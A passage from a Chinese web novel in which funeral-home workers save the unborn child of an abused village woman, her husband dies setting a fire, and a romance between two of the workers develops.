“放屁!”一名戴着花头巾的老妇往地上啐了一口,“俺们对她还不够好吗?这小蹄子怀孕后可是吃了俺整整十二个南瓜!心疼得俺哟!倒是她一怀孕就开始拿乔,总是说身体不舒服偷懒耍滑不干农活,有这样做别人家儿媳妇的吗?俺们当时可是花了八千把她娶进门的,没这钱,她哥哥能娶上媳妇?这忘恩负义的东西,俺不过是打了她一巴掌,她就敢还嘴了。要不是俺儿子孝顺心疼我,骂了她几句,她还不杀了我这老太婆?”
“人家是孕妇,你们好歹演也演到孩子出世啊!”有邻居恨铁不成钢。
“嗐,算了,早让张大师算过了,肚子里是个没把的,生下来也是个赔钱货。哼,她没这个福气给我们老刘家开枝散叶,有的是女人愿意,谁还没个肚子不会生似的!俺家儿子最近在城里认识个
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姑娘,人家在城里有好几套房子呢!眼下她死了正好,过几天我就派媒人说亲去!”
“哎哟,还是耀祖厉害啊!看着老实巴交的,没想到还能搞定城里的女孩子!不过城里的姑娘彩礼要得不低吧?”
“要什么彩礼!”老太太满面红光,环顾一圈围着自己的村民,骄傲道:“耀祖说了,那姑娘肚子里已经有了。她还敢要彩礼,就不怕我们不要她了,到时候她还要不要名声了!”
周围的村民连声附和,称赞,气氛热烈而欢快,和这边的冷清截然不同。
小施也算是见多识广,也罕见地被气得咬牙切齿。
“这帮禽兽不如的东西!”他撸起袖子就想冲出去,却被白绯拉着胳膊拦住了。
“没用的。”她沉着脸摇了摇头,“和禽兽讲道理,和对牛弹琴有什么两样。”
她回头看了看无知无觉躺在床上的女孩,沉沉叹了口气,“给她挑最好的,钱我出了。”
虽然死后无论如何风光都不过是一场空,然而白绯也实在看不下去让她这般潦草走完最后一段路。
他们给女孩净身后换了一套最近时兴的唐装寿衣,白绯给她梳理好头发后盘了个漂亮的发髻。
等到化妆完毕后,她这短暂一世所经历的雨雪风霜终于都被掩盖在了精致的妆容之下,展现出她原本该有的,却被活生生吸干的美丽。
“这衣服多少钱?”传说中的耀祖终于出现,他其实长得不差,眉眼周正气质憨厚,任谁也想不到却是个内里腐朽又恶毒的草包。
他有些意外地看了看床上的逝者,有些意外地嘟哝道:“你们这化妆技术可以啊,没想到小兰这么漂亮。”
他有些惋惜地撇撇嘴,眼光在女人的脸上流连片刻,有些畏惧,又有些垂涎。
“我跟你们说啊,我只有三百块,多了一毛都没有。你们别想着给她穿上好的用上好的就能骗我们掏钱,老子宁可把她身上的衣服扒下来也不会多花一毛钱的知道不?”
小施被气得翻了个白眼,背转身不搭理他,不然怕自己控制不住直接给这王八犊子一拳。
“唉,我说你这什么态度…”耀祖面子挂不住,当场就要找麻烦,却被白绯打断。
“放心吧,只要三百块,一毛钱都不多收你的。”
“当真?”耀祖以己度人,并不相信世上有这样的好事,但是有便宜不占王八蛋,花最少的钱能摆最大的排场,他也乐意充这个场面。
“是啊。”白绯头也不抬,“我们公司周年庆,现在推出的团购套餐,只要三百块,如果第二棺还能半价呢!”
“行吧。”耀祖没听出白绯的诅咒,得了便宜还卖乖,挑三拣四道,“那你们别给她穿红色的了,这么大月份喝药死了,还穿红的,多凶啊!”
他说完自己就打了个寒颤,不敢多待,心虚地走了。
小施恨恨一拳锤在木板上,低声怒骂道:“禽兽!”
白绯脸色也很差。她想起了刚才看的鬼片,突然觉得,有时候,人比鬼更可怕。
如果世界上真有鬼,她倒真希望女孩能化作厉鬼,一个都别放过。
曾经有人说过,为什么中式恐怖中,厉鬼总是女人,小孩,却很少有男人。因为她们受到了太多的冤屈,就犹如眼前这名在大好年华就早早凋零的女孩。
“怎么了?”白绯正准备给女孩穿上裙子,却发现祝临川的手轻轻搭在逝者的肚子上,眉头紧紧皱着。
“有点不对劲。”
46. 棺中女
祝临川眉头紧紧皱着,侧耳在逝者肚子上听了听,脸色更凝重了。
“得罪了。”他轻轻对女孩,也就是小兰点了点头,谨慎地撩开了她肚子上的衣服。
白绯和小施都被他的动作吸引了注意力,凑过去细看,众目睽睽之下,就发现原本青白的肚皮上,突然出现了一个小小的手掌印。
“鬼啊!”
白绯没被这突然出现的手印吓到,反倒差点被这声惨叫吓得心脏骤停。
她捂着砰砰狂跳的胸口回头一看,才发现原来是刘老太。
原来是她听耀祖说了里面的事,不放心怕被骗了,还是决定进来盯着,结果正好看到这一幕。
她被吓得几乎撅过去,连滚带爬地就跑了。
“孩子可能还活着。”祝临川却没搭理她,飞快地掏出手机拨打了急救电话。
白绯看着那小小的手印,头一次慌了神。她简直不敢想象,如果祝临川没有发现,那这个孩子岂不是最后…
白绯只觉得后怕,浑身鸡皮疙瘩直冒,几乎都站不稳了。
“怎么会?”小施也一脸不可置信。
事实上,死后棺中分娩的情况历史上还真有。在古代,医疗条件有限,生产又是极度危险的事。即使是在21世纪的今天,因为分娩而丢了性命的可怜女人也不在少数。
从前曾有考古学家就发现过一具棺材,棺材中是一具女尸,而在女尸的两腿之间则躺着一具蜷缩的婴儿尸骨。科学家经检验后证实女尸应当是死后入棺,由于尸体腐烂,肚腹内的气体膨胀才将子宫内的婴儿推出,造成了死后产子的现象。但通常情况下,母体死亡,肚子内的孩子也很难存活。
这是由于胎儿在子宫内的氧气和营养供应全依赖于母亲的血液循环,一旦母亲心跳停止,胎盘的血供就会中断,导致胎儿缺氧。所以,胎儿在母亲死亡后的几分钟就会面临生命危险,例如因缺氧时间过长导致的脑损伤和脑死亡。
“救护车马上就来。”祝临川挂了电话,面色凝重。
在场三人都忧心忡忡地看着小兰的肚子,心知每拖延一分钟,里面的孩子就多一分危险。
“实在不行的话…”白绯把化妆箱重重往木板床上一搁,打开盖子露出里面寒光闪闪的手术刀。
母亲已经没了,她的骨血可千万要保住。
“嗯。”祝临川沉稳地点了点头,把手轻轻放在白绯不住颤抖的手背之上,安抚道,“别怕,有我在,我不会让孩子有事的。”
然而天不遂人愿,刘老太去而复返,带着耀祖和一众村民又大呼小叫地冲了进来,而他们手里竟然还握着火把和汽油。
“你们这是要干什么?!”小施简直要惊呆了,张开双臂护在小兰的尸身面前,因为太过惊讶嗓子都快喊劈了,“别乱来,她肚子里的孩子可能还活着啊!”
然而没有人因为这个消息而感到喜悦。
“是鬼胎!”刘老太战战兢兢地躲在耀祖身后,仿佛看脏东西似的看着小兰隆起的肚皮,“烧了她!要是让肚子里的鬼胎出世,岂不是要作孽!快快,耀祖,泼汽油!快把这个鬼妇和她肚子里那个晦气的东西一起烧死!”
刘老太拽着耀祖的胳膊,声嘶力竭地喊道。
“你们才在作孽!”白绯出离愤怒了。“我警告你们别乱来,警察和医生马上就来了!”
她转身看向刘耀祖,语气中带着她自己都未曾意识到的哀求,“这可是你妻子留下的孩子,你当真连一点情面也不给吗?”
刘耀祖却不曾因她的话而有过片刻的犹豫。
他恨恨地呢喃道:“既然要死,为什么不死个干净,还要留下这么个赔钱货。不行,我绝对不能让这孩子生下来,芷兰肚子里已经有了,只要她们娘俩死了,我就能进城里去,和芷兰在一起,少说也能少熬三十年。”
他在白绯三人震惊的目光中一咬牙,抬手就把汽油桶朝木板床泼了过来,竟是连挡在前头的白绯也不顾了。
白绯没想到这人竟能做出如此穷凶极恶的事情,一时间反应不过来,呆愣愣地站在原地。然而预想中刺鼻浓烈的汽油最终却没落在她身上,而是被祝临川挡了大半。
“没事吧?”高大的男人挡住了身后那些披着人皮的鬼怪,落下的视线温柔、安定。
在这样的视线中,白绯的鼻腔蓦地涌上一股酸涩。她被人牢牢护在怀里,伸手揪着祝临川被打湿的衣襟,眼睛发红,带着哭腔道,“他们怎么能?怎么能..."
祝临川安抚地揉了揉白绯的长发,扭头朝身后还在叫嚣的村民看去。
他原本就是禁欲冷清的长相,又长得肩宽腿长,如今冷着脸掀眸扫去,只一眼,就将刘耀祖吓得下意识往后退了一步。
但是杀人放火金腰带,修桥铺路无尸骸。此刻已经箭在弦上,耀祖仗着身后还有大量村民,法不责众,心知若是不趁现在一鼓作气毁尸灭迹,等孩子生下来了,和芷兰的婚事就完蛋了!他筹谋了那么久的软饭之路,可不能在这里功亏一篑。
想到这里,刘耀祖心下发狠,夺过旁边村民手里的汽油桶就朝祝临川等人泼去,却不想祝临川早就有所防备,横臂抬手就挡了下来。
他这一身自律和锻炼得来的肌肉可不是白长的,又足足比刘耀祖高了一个头,刘耀祖这一桶汽油没能如愿泼到他们身上,反倒把自己浇了个透心凉。
就在众人僵持不下的时候,救护车的鸣笛声由远及近,传进了被挤得满满当当的小破屋。
白绯松了一口气,扭头去看小兰的肚子,也不知孩子在里面还好不好。
“小心!”
一切发生在电光火石之间。就在白绯转身的刹那,刘耀祖面目狰狞地从口袋里掏出了打火机。然而被金钱冲昏了头脑的他已经忘了自己身上也浸透了汽油,在他摁下打火机开关的那一刻,熊熊的火焰几乎是立刻吞噬了他。
祝临川在他把手摸进裤兜的时候就知道定然有诈,护着白绯和小施二人连连后退,才没被殃及。然而站在耀祖身边的村民就没这么好运了,尤其是挨着他站的刘老太,半边身体也立刻起了火。
“啊啊啊啊!”
“救命啊!”
现场顿时乱做一团,村民们再也不敢叫嚣什么鬼胎,纷纷做鸟兽散。
刘老太身上火势不大,很快被扑灭,然而刘耀祖就没这么好运气了。
起初他还能发出惨叫,然而很快,他就犹如被冻住般僵直着四肢站在原地,徒劳地冲白绯他们张合着嘴,却没有发出任何声音。
蛋白质燃烧的焦臭味在小破屋里弥漫。
“别看了。”一双手温柔地抚上了白绯的脸,视线中被高温炙烤到焦黑的人形消失不见,只剩下一片黑暗。
“怎么回事,灭火器呢?”
“快快快,先救肚子里的!”
.....
等白绯回过神来的时候,她已经裹着小毯子坐在了自家的面包
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车上,手里还捧着一个保温杯,氤氲的热气从杯口冒出来,模糊了她的视线。
兵荒马乱的一夜过去,此时天色终于亮了。
突然,有个人影在身边坐下,大夏天的带着清凉的水汽,逐渐唤回了白绯神游天外的理智。
是祝临川。他不知去哪儿洗了个澡,头发上还低着水,光着上半身,只穿了一条花里胡哨的大裤衩,脖子上眼熟的吊坠在阳光下反射着的光。
他低头凑过来时,身上带着清爽又好闻的味道。
“怎么看着傻傻的?被吓着了?”他轻蹙着眉头和白绯顶了顶额头,确认她没有发烧。
“没有,我只是...”白绯摇了摇头,却说不出个所以然。
被火烧的尸体白绯也见得不少。电动车爆燃的,家中火灾的,出车祸起火的,燃气爆炸的...
然而那些毕竟都是已经死去的人。这还是白绯第一次看见一个人活生生死在眼前,还是用这样惨烈的一种方式。
虽然可以说,今天这场惨剧完全是自作孽不可活。
“小兰的孩子怎么样了?”白绯摇摇头不再去想,抓着祝临川的胳膊追问道。
“孩子状况看起来还行,医生带回医院观察了。”
“那小兰?”孩子没事,也许孩子母亲也还有希望,之前只是陷入假死状态也说不准。
然而祝临川却在白绯满怀期待的眼神中沉默地摇了摇头。
可惜,奇迹只发生了一次。
“我们得先处理小兰的遗体。”白绯明显已经没了章法,祝临川适时提醒她,“刘耀祖死了,刘家不会善待小兰的遗体,趁他们现在还乱着,先把小兰带回公司安置。”
“好。”白绯强迫自己的大脑运转,借着祝临川的手站起来往小屋赶。
“小施一直在里面守着,你放心。”
“那孩子那里...”
“我和刚才的急救护士说明过情况了,也留了联系方式。刘家不会善待孩子,必要的时候需要我们插把手。”
“你想得周到。”白绯松了口气,心中既安慰,又意外。
她一直只把祝临川当成小弟弟看待,却没有意识到,原来对方也早已是个沉稳可靠的男人了。
“刘耀祖的死是他咎由自取,但也保不齐刘家到时反咬一口。我让小施保存备份了当时的视频,我刚才已经提前看过了,足以说明我们是无辜的受害者。”
“好。”
幸好他们每次给客户收敛的时候都有录像保存的习惯,不然这次少不了一堆麻烦了。
二人回到屋里,小施正拿着两把手术刀虎视眈眈地守在门口,看到来的是白绯他们才卸了劲。
“绯绯姐...”小施带着哭腔喊道。他虽然是公司的老人了,但这样抓马的情况也是大姑娘上轿子头一遭碰见,没有直接心态爆炸全靠他那点职业素养撑着了。
“走,先带遗体回公司。”
白绯低头看了眼小兰的遗体,原本被收拾得漂漂亮亮的她此刻又犹如一个破布娃娃般。医生着急带孩子回去医院,只是潦草处理了下她肚子上的切口。
"委屈你了。”白绯轻轻地给她理了理鬓边散乱的头发,“我们先离开这里。你放心,你和你的孩子,我会负责到底的。”
果然,白绯等人才把小兰的遗体放入冰棺,就等来了警察的通知,刘老太一家,还有小兰始终未曾现身的娘家人,此刻都在派出所了,就等他们了。
47. 一女多吃
白绯三人还没踏进派出所大门,远远就听到了刘老太哭天抢地的哭丧声。
小施咬着牙恶狠狠地嘀咕了句:“瞧这哭得多好听,可惜没让小兰听见。”
祝临川低低嗤笑一声,玩味道:“小兰估计也不想听见这老太婆的声音。”
白绯听罢揶揄地抬起胳膊肘撞了他一下,冲他眨眨眼道:“这小嘴,怎么跟抹了蜜似的。”
祝临川嘴角勾起一个小小的弧度,默认了。
他们还没走进调解室,就又遇到了一个熟人。
“怎么又是你们啊?”片警小刘怀里抱着一沓厚厚的文件,黑眼圈快有半张脸那么大,目瞪口呆地站在原地看着他们。
“我还想说呢。”白绯哭笑不得地看着他,“你不是在H县吗?怎么又回来了。”
小刘无奈地叹了口气,“上回你们在河里找到的碎尸...”
“可不是我找到的啊,是那个钓鱼佬,我可不敢居功。”白绯笑眯眯地打断他。
“都差不多,反正你不是也在场。”小刘不以为意地挥了挥手,继续道,“我们查到凶手的动向可能就在A市,我一直跟着这桩案子,就被暂时派遣到这里协助这边的刑警一起调查了。”
他说完抬起头,谴责道:“说完我,该说说你们了,你们这次又惹什么事了?”
“我们可没惹事。”白绯一言难尽地叹了口气,“我们只是受到牵连的无辜群众。”
小刘一脸“你看我信你还是信母猪能上树”的表情。
三人告别小刘,才刚走进调解室,就差点被人一头当胸顶出去。
“都是你们!就是你们害死我家耀祖!我老刘家的命根子啊,我哪还有脸去地下见老刘家的列祖列宗啊!”
刘老太吊着半边的胳膊,扯着嗓子撕心裂肺地嚎。
祝临川差点被他们烧死,根本不和她客气,一把就把人推了个倒仰。
刘老太也不起来,索性躺在地上满地打滚。
“亲家,你别哭了。”另一名穿着围裙的老太太蹲在刘老太身边,伸出手想把她扶起来。边上则还站着个愁眉苦脸的老头子,眉眼间和小兰颇有几分相像,正拧着眉头闷不做声地抽着烟。
“滚开!”然而刘老太却不领情,像她这样的人有一个很大的优点,就是绝不内耗,谁错都不可能是我错,就算是我错了,难道你就不能体谅体谅我吗?你说不能?那你就是个大大的恶人。
刘老太死死地掐着老妇人的胳膊,目眦欲裂:“都怪你们这一家子扫把星,害死了我的儿子。当初如果不是我们的八千块彩礼钱,你家那废物儿子哪来的钱娶媳妇!老天不长眼呐,该绝后的是你们叶家才对!还钱!把钱都还回来!”
小施有点看不下去了。有没有搞错,明明是你们虐待人家女儿,害得一尸两命,最后甚至还想活活烧死肚子里的孩子,怎么还有脸怪起别人来。
他正想插嘴,却被白绯拦住了脚步。
“绯绯姐,你别拦着我,让我骂这老妖婆两句,不然非得憋死我。”
然而白绯却冷着脸道:“能把女儿卖了给自家儿子娶媳妇的能是什么好东西。我们在那儿等了一夜,也没见他们过来送小兰最后一程,我看不过是狗咬狗罢了。”
果然,叶老头一听,就拧着眉头反驳道:“小兰已经嫁给你们了,如今还丢了性命,这彩礼不管怎么说都没有叫我们还回去的道理。民警同志,你说对不对?”
坐在一边调解的民警一脸生无可恋:“对于彩礼问题如果有纠纷,你们可以起诉到法院进行处理。”
他转向白绯等人,问道:“来了。视频证据带来了吗?”
小施赶紧把手里的优盘递过去。
民警同志观看了视频确认了当时的情况后又将视频做了备份,就放他们离开了。
刘老太当然不肯,如今的她就像一只疯狗,见谁咬谁,拳打脚踢地被民警摁回了椅子上。
临出门时,叶老太嗫嚅着走了过来:“俺家小兰的…是被你们带走了吗?”
白绯垂眸看着这个老太太,语气冷淡地嗯了一声。
老太太回头看了眼站在身后的叶老头,在他催促的眼神中抿了抿嘴,道:“把小兰给我们吧。老刘家是不会让她入祖坟了,她总不能一个人孤苦伶仃流落在外。正好俺们村里有户好人家要配阴亲,不嫌弃小兰已经嫁人生子,愿意把她迎回家...”
“收了多少钱。”白绯打断了叶老太的絮叨,声音冷得像冰。
“啊?”叶老太在她洞穿真相的注视下畏畏缩缩地耸了耸肩膀,眼神躲闪:“没...没多少..."
“还真是一女多吃啊。”祝临川毫不留情地捅破了那层窗户纸。
叶老太皱巴巴的脸红了红,低着头不吭声了。
叶老头闷头抽了两口烟,强硬道:“小兰是俺家的闺女,我们想怎么处置就怎么处置,你们管不着。”
“呵呵,行啊。”白绯不怒反笑,“正好,小兰惨死,怨气深重,即使是我们公司里有五十年道行的大师都镇不住,我还正愁该怎么处理呢。你们愿意带回去正好,冤有头债有主,谁把小兰害到如今这个地步,一并被她带走,也好平了怨气。”
小施很机灵,闻言赶紧绘声绘色地附和道:“就是啊,小兰的眼睛到现在都还没合上呢,七窍流血,大师说这是有很深的怨念啊!不见血是平不了她的怨气的!”
果然,叶老头一听就有些犹豫了。当初小兰在学校里好好上着学,被叶老太以死相逼骗回了老家,绳子一捆嫁进了刘家。中间她不是没有逃跑过,但每次逃回娘家,都被叶老头用衣架撵了回去。
嫁出去的女儿泼出去的水,这样的拖油瓶,谁愿意要?
叶老头不是不知道刘家对小兰不好,动辄打骂,但哪个女人不是这样过来的,不都活得好好的吗?难道就凭她念了几年书,就矜贵起来了吗?早知道这样,当初就该早早让她辍了学,不应该因为她年年考第一,又拿什么劳什子奖学金,轻易地点了头放了她去,到头来连个女人都做不好。闹到今天这地步,难道不都是她自个儿作的吗?
但他心中确实也犯怵。配阴婚虽然能拿六千块钱,可若是真把血光之灾引进家门,那有钱赚没命花,孰轻孰重他老头子也还是知道的。
人家殡葬公司手底下的大师都轻易搞不定,他把人带回家,到时请大师的钱搞不好都不止六千。
亲生女儿的价值就这么在心理翻来覆去地衡量了一遍,最终叶老头不吭声了。
白绯嗤笑一声,不愿意再看这一屋子脏东西,转身离开了。
折腾到现在,几人早已饥肠辘辘。
小施在路边买了个糯米饭团,提溜着直接
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打车回家了。
白绯还不困,干脆坐在店里吃。她看着来来往往生无可恋的早班牛马,感觉自己稍微活过来了一点。
老板端上来一碗咸豆浆,白绯撕碎油条泡进去,又滴了一滴香油,拿着小勺子小口喝起来。
有个路过的上班族路过看到,瞳孔地震,小声嘀咕道:“无论看到多少次都觉得咸豆浆可真是异端啊!”
白绯眼大肚小,什么都想尝尝,但是又吃不下多少。祝临川看她眼巴巴地瞅着自己碗里的片儿川和煎饺,起身去消毒柜里又拿了一副碗筷,分了点到碗碟里,推了过去。
“吃不完再给我。”
白绯有点不好意思,总觉得自己被当成宝宝看待了,但又因为这份区别对待而感到心里轻飘飘的。
二人正在埋头干饭,就又遇到了两个熟人。
只见一个七彩鸡毛掸子头打着哈欠从隔壁酒店走了出来,怀里还搂着一个穿着清凉,妆容妖冶的美女。
这不是陆子尧的狗腿子嘛!
说曹操曹操就到,旋转门后很快就走出了一个眼熟的身影,正是陆子尧。
陆子尧一脸肾亏的样子,满脸的郁气,走到前面的美女身边,掐住她的下巴就来了个法式热吻,手还色情地在美女的后腰摩挲。
鸡毛掸子头就这么笑嘻嘻地看着两人,伸手从女孩的短裙下摸了进去,也不知干了什么,惹得女孩腿都抖了。
白绯手里的馒头差点没拿住,低低惨叫一声:“啊,我的眼睛,我的眼睛要瞎了!”
祝临川原本看到这个老仇人,脸色也变得不太好看,如今被白绯这么一逗,没忍住笑了出来。
“要不咱们去拜拜吧。”白绯揪着手里的馒头皮认真道,“我觉得最近水逆,一天天地净遇到些牛鬼蛇神了。咱们往里躲躲,别被那俩煞笔玩意儿看见了。”
二人正端着碗站起身,准备往店铺里挪挪,不成想却和服务员撞了个正着。
叮铃哐啷一阵响,服务员怀里的空碗碎了一地。
白绯无奈扶额:我就说水逆吧?
服务员是个热情的小伙子,嗓门雄浑:“哎哟,您没事吧,有没有受伤?”
“我没事,是我的问题,突然站起来撞到你,碗钱一会儿我一起给了。”
“您没事就成,几个破碗,哪用得着赔,碎碎平安,岁岁平安。”
他的笑容真挚又热情,惹得白绯原本烦躁的心情也慢慢平静下来。
“哎哟,我说这是哪来的乞丐,怎么的,前几天碰完我的瓷,又来碰人家老板的瓷了?”
这里的动静最终还是吸引了陆子尧他们的注意,他双手插兜吊儿郎当地站在早餐铺门口,双眼阴鸷地盯着白绯和祝临川二人。
上次他差点驾车撞伤他们,后来反被闹到派出所,还捅到了老爷子那里。陆父白手起家,为人颇为谨慎,断不敢让这败家玩意儿在外招摇,毁了自己的基业,对他耳提面命,还扣了他的零花钱,让他最近夹着尾巴做人。
陆子尧何曾受过这样的委屈,这两天好不容易解了禁闭,就迫不及待约了方肖,也就是鸡毛掸子头出来快活。
二人吃了药,找了个外围小姐在酒店胡天胡地了一宿,才刚出来,没想到冤家路窄,就碰到了让他诸事不顺的罪魁祸首。
既然撞他脸上了,他能轻易放过?
48. 人可貌相
“先生,您误会了,这只是场意外。”
白绯还没开口,服务员小哥先看不下去了。他拧着眉头真诚道:“虽然现在人心不古,到处都有人碰瓷,但这两位客人真不是故意的。您看看这两张伟大的脸,有这样两张脸的人怎么可能会做坏事呢?”
没想到还是个颜控。
陆子尧:...哪来的二傻子。
方肖搂着美女吊儿郎当地也晃悠了过来。
他看到白绯就条件反射地觉得身下作痛,翻着白眼道:“这位小兄弟啊,你还是太单纯了,没听过有句话叫知人知面不知心吗?有些人虽然长得人模狗样的,但里面早不知道烂成什么样儿了呢!”
白绯意味深长地往他下身扫了眼,嘲笑道:“总比某些长得都猪狗不如的玩意强。怎么的,上次挨的打还不够?”
“你骂谁呢?”都说没什么就越爱炫耀什么。方肖本就长得抱歉,脸上又坑坑洼洼,花在脸上的钱都够买辆限量跑车,却还是长得很别致。他平生最忌讳别人嘲笑他的长相,当即撸起袖子就要打人。
祝临川冷着脸向前一步护住了白绯:“你不是心里有数认得挺快的么?”
方才还一脸和善的服务员小哥也终于反应过来这几位客人怕是早有冲突,也沉着脸挡住了陆子尧和方肖:“两位客人,来小店用早点我们欢迎,但若是来找事...”
方肖被服务员小哥鼓囊囊的胸肌顶得连连后退,一张满是痘印的脸上因为羞恼而面容扭曲,确实十分有碍观瞻。
陆子尧原本还想说点什么,然而眼珠一转似乎又想到了什么,冷笑一声放狠话道:“你们给我等着。”
说完就冲方肖使了个眼色,转身离开了。
白绯摸着下巴道:“啧,这两货一看就在憋什么坏水。”
祝临川安抚道:“没事,兵来将挡水来土掩。我们虽然不惹事,但也不怕事。”
白绯赞同地点点头,和仗义执言的服务员小哥道谢后就结账离开了。
白绯回去后简单洗漱了下,临休息前还先把刘耀祖的信息发给了陆寻,委托他调查刘耀祖在城里谈的那个相好。
她当时可听得很明白,那个姑娘肚子里也已经有了孩子。如今刘耀祖身亡,刘老太一定会想尽办法保下肚子里的孩子。
白绯不知道这个姑娘到底知不知道刘耀祖的真实底细,但无论如何,她都准备把一切详细告知她,希望她慎重做决定。
小兰如今已经躺在冷冰冰的棺材里了,还有一个刚出生就成了孤儿的孩子正在医院救治,白绯希望这样的悲剧能到此为止。
大概是这一天一夜的经历实在是猎奇,白绯这觉睡得很不踏实。她一会儿做梦梦见小兰的孩子从肚子里蹦出来手里边炸礼花边喊surprise,一会儿又梦见刘耀祖浑身浴火在舞台上唱冬日里的一把火,最后活生生给自己吓醒了。
等她醒来才发现原来自己一直窝着脖子睡在床上,难怪睡得这么不安稳。
她揉着酸痛的脖子走出房间,就看到一楼大厅里,祝临川安静地叠着腿坐在沙发上敲着手机,大鹏肚皮朝天躺在他大腿上,小黑则团成一个圆润的圈,脑袋枕在祝临川的脚背上。
夕阳西下,昏黄的日光隔着窗玻璃洒进来,照在祝临川的身上,给他的轮廓渡上了一层耀眼的金边,更加显得人眉眼俊俏,身材挺拔。而那身蜜色的皮肤在日光下更是淌着犹如蜂蜜般的光泽。
白绯捂着脖子差点看呆了。
“脖子怎么了?”祝临川听到楼上的动静抬眸扫来,就看到白绯歪着脖子,嘴巴微张,一脸呆傻地站在楼梯拐角处。
“没...没事。”白绯怀疑自己口水都流出来了,心虚地偷偷擦了擦嘴角,没敢看他,“只是睡落枕了。”
祝临川放下手机朝她走来,不知怎么的,随着他一步步踏上楼梯,白绯的心跳得很快,大脑一片空白。
祝临川朝她摊开掌心,语气很是温柔:“下来,我给你捏捏。”
白绯“咕咚”咽了一口口水,犹豫着把自己的手放了上去。
柔软的指尖蜷在宽大的掌心里,冷白色与巧克力色,如玉般的无暇与饱经风霜的粗糙,对比间让人有种想看又不敢看的暧昧。
白绯老老实实被人牵着下了楼,轻轻按坐在了沙发上。
“放松。”带着笑意的声音从头顶落下,长着薄茧的指腹陷进了白绯的后颈。
“嗯...”酸痛感随着按压紧随而来,白绯一时也顾不上再想那些有的没的,又痛又爽地闷哼出声。
因为疼痛,她的身体下意识地想要离开祝临川的掌控,然而却犹如脆弱的蝴蝶般不得逃脱。
弱小又痛苦。
一通揉捏下来,白绯感觉脖子上那根僵硬的筋骨终于得到了放松。
她放松地倚靠在沙发背上细细喘息着,待她睁开眼,就蓦地撞进了一双深沉的眼中。
祝临川就那样站在沙发背后垂眸看着她,也不知看了多久。
带着滚烫热度的掌心从莹白的肩头离开,抵住了白绯突突跳动的动脉,泄露了她此时有多不平静。
白绯下意识想要逃避,却由于脖颈间的双手,被迫维持着后仰头靠在沙发上的姿势。
祝临川裸露在外的小臂上青筋凸起,然而手下的力度却轻柔得像捧着一朵花。
反应过来时,那张向来冷淡的脸已经在视线中放大,睫毛垂落的瞬间,白绯看见自己倒映在那双灰色的瞳孔中的模样——微张的唇和含情的眼,无一处不透着邀请。
意料之中也是水到渠成,呼吸纠缠唇瓣相贴,濡湿的水声在空荡荡的客厅响起。
“别闹了,我还有事。”白绯竟有些招架不住,艰难地别开脸呼吸空气。
大鹏蹲坐在小黑头顶,四只黑溜溜的眼睛一眨也不眨地看着吻得难舍难分的两人。
白绯被它们这单纯的眼神看着,心中觉得更羞耻了。
祝临川意犹未尽地舔了舔唇,听话地退开了。
白绯坐直了身体用手给自己的脸扇风降温,一时竟有些失望。
怎么这么老实,不知道女人说不要就是要吗?
但是她确实还有要事等着处理。小兰如今还躺在冰棺里,等着入土为安。
祝临川像是早就猜到了她心中所想,开口道:“我白天去了刘家一趟,刘家正在处理刘耀祖的丧事,刘老太把小兰的遗物都扔了出来,我做主捡了回来。叶家老两口也不敢再接手小兰的后事,把证明文件都给了我,让我们全权处理。”
白绯惊讶地看着他,实在没忍住又捧着他的脸吻了上去:“天呐,你是会读心术吗?”
祝临川但笑不语。
白绯捂着后劲转了转脖子,站起身就想去后院:“既然万事俱备,就不耽搁了。等我给小兰收拾好,明早就让她在这边安葬吧。”
今早他们把小兰的遗体带回来时就已经知会过白书远和周芸,二人都很心疼这个命运悲凉的年轻姑娘,表示若是无处可去,不妨就让她在这儿下葬吧。
祝临川点点头,开口道:“我熬了海鲜粥,在厨房里温着,你先去吃点,吃完我再和你一起去。”
白绯被他如此细心妥帖地照顾,心中真是熨帖极了。
吃完爱心晚餐,二人就去了后院。
白绯帮小兰缝合了伤口,又擦拭干净脏污,重新穿上了漂亮的旗袍。没有了隆起
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的肚子,此刻的她看起来就是一个正直青春年华的普通女孩。
她的遗物被祝临川整齐收拾好了。东西不多,只有几件衣服和一本相册。相册被保护得很好,看得出来主人很爱惜。
白绯打开相册,在上面看到了小兰短暂的一生。幼时的照片不多,大多是灰扑扑地站在角落,而相片的中心则是那个传说中靠妹妹的彩礼娶上媳妇的哥哥。这些照片与其说是给她拍的,倒不如说是在给哥哥拍照时,她意外入镜罢了。
后来,照片就逐渐多了起来。穿着校服的她终于成了照片的主人公,脸上也有了笑容,就像蒙尘的明珠终于绽放光芒。
只可惜,这样光彩照人的她并没有持续很久。
白绯翻到下一张,看到了被撕裂一半的结婚照。失去了一切希望的小兰睁着麻木的眼睛沉默地注视着镜头,像是在无声地控诉与质问。
在这张结婚照后,小兰没有再拍任何照片,只在后面夹了一张B超单,是她确诊怀孕时在医院拍的。
B超单上写着一行字,字迹被泡在水渍中晕开了,就像有谁曾边写边落泪。
白绯的指尖在上面轻轻抚过,无声地念道:“妈妈一定会保护你,希望你的人生自由自在。”
在场二人都沉默下来。
白绯轻叹了一口气,阖上相册,又最后给小兰理了理鬓边的发:“相册我就留下来了,也好给孩子留个念想。你别担心,我们一定会给孩子找个温暖的家,让她无忧无虑地长大成人的。等孩子出院,我就带她来看你。”
也不知是不是她的错觉,白绯总觉得小兰的神情平和了很多。
都说人在死去时,最后消失的是听觉,也许小兰也听到了吧。
后续的丧事处理得都很顺利,小兰在墓地下葬后,安夏还带来了一大把种子,围着撒了一圈。
这小姑娘知道小兰的遭遇后哭得一把鼻涕一把眼泪,哽咽道:“小兰,我也不知道你喜欢什么花,就都买了点。让它们陪着你,你就不会孤单了。”
陆寻也带来了后续消息。
很巧合的是,刘耀祖在城里的对象竟然叫芷兰。在刘耀祖死后,刘老太果然去找了她,让她无论如何也要生下这个孩子,给老刘家延续香火。
芷兰原本是不满意刘老太这副咄咄逼人的态度的,但她对刘耀祖有情有义,不想他的血脉就此断绝,竟然答应了下来。
“幸好我后来发了匿名邮件过去,告诉了她叶兰的事情。刘耀祖那厮果然一直瞒着她,假装单身。”陆寻愤愤地啐了一口,道,“我把这王八犊子怎么害死的叶兰,还有放火杀人,抛弃孩子的事都告诉了她,劝她慎重考虑。芷兰当天下午就去了医院,回来后和父母直接搬家了。刘老太婆再去的时候早就人走楼空,再那儿可嚎了老半天。”
白绯吁了一口气,欣慰道:“那就好。”
今天她还和祝临川去医院里看望了孩子,瘦瘦小小皱巴巴的一个小人,乖巧地躺在病床上。白绯看着这个小生命,心中很是怜惜。
好在她很坚强,医生说,再过几天就可以出院了。白书远夫妇说有认识靠谱的人家一直想领养孩子,到时可以接触看看。
一切都在往好的方向发展。
